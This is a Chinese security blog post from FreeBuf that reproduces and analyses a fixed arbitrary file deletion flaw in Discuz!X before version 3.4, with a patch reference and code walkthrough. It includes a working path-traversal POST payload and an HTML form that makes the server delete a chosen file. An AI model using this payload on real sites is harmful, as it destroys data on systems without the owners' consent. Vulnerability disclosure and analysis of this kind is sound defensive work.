freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
FreeBuf+小程序

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

Discuz!X前台任意文件删除漏洞重现及分析 金币
2017-10-07 12:53:01

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

0x00 概述

9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。

0x01 影响范围

Discuz < 3.4 

0x02 漏洞重现

环境:win7+phpstudy+discuz3.2

新建importantfile.txt作为测试

进入设置-个人资料,先在页面源代码找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

dz1.png

dz2.png

可以看到formhash值是b21b6577。

再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如图

dz3.png

执行后

dz4.png

出生地被修改成要删除的文件。

最后构造表单执行删除文件

<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>

<input type=”file” name=”birthprovince” id=”file” />

<input type=”text” name=”formhash” value=”b21b6577″/></p>

<input type=”text” name=”profilesubmit” value=”1″/></p>

<input type=”submit” value=”Submit” />

</from>

随便上传一张图片,即可删除importantfile.txt

dz6.png

成功删除importantfile.txt,重现成功!

0x03 修复方案

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

删除unlink相关代码。

0x04 漏洞分析

根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。

先看第70行

if(submitcheck(‘profilesubmit’)) {

提交1进入这个判断。

来到220行,补丁前:

dz7.png

往上看来到:

dz8.png

可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。

现在就看如何控制指定文件,也就是控制$space[$key]这个变量。

继续往上看来到:

dz9.png

可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。

那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。

总结整个漏洞利用流程:

修改birthprovince->上传图片->执行unlink->删除任意文件

0x05 结语

删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。

0x06 参考资料

https://www.seebug.org/vuldb/ssvid-96608

https://www.seebug.org/vuldb/ssvid-93588

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php

*本文作者:LSA,转载请注明来自FreeBuf.COM

本文作者:, 转载请注明来自FreeBuf.COM

被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦